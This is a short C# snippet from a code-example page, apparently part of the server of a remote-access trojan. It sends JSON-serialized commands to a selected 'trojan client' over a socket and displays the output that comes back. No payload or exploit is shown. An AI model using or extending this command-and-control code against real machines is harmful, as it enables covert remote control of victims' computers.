Пример #1
0
        async void SendMessage(object sender, EventArgs e)
        {
            int clientId  = serverGUI.GetClientId();
            int commandId = serverGUI.GetCommandId();

            if (clientId >= 0 && commandId >= 0)
            {
                var trojanClient = trojanClients[serverGUI.GetClientId()];
                var client       = trojanClient.Client;


                // Get a stream object for reading and writing

                string output = "";

                if (commandId == 2)
                {
                    ComplexCommand command = new ComplexCommand(commandId);
                    command.Parameters.Add(serverGUI.GetFirstParameter());
                    command.Parameters.Add(serverGUI.GetSecondParameter());
                    output = JsonConvert.SerializeObject(command);
                }
                else
                {
                    Command command = new Command(commandId, serverGUI.GetFirstParameter());
                    output = JsonConvert.SerializeObject(command);
                }

                SendOnSocket(client, output);
                await ReceiveFromSocket(client, serverGUI.DisplayOutput);
            }
            else
            {
                serverGUI.DisplayOutput("Select a client and a command.");
            }
        }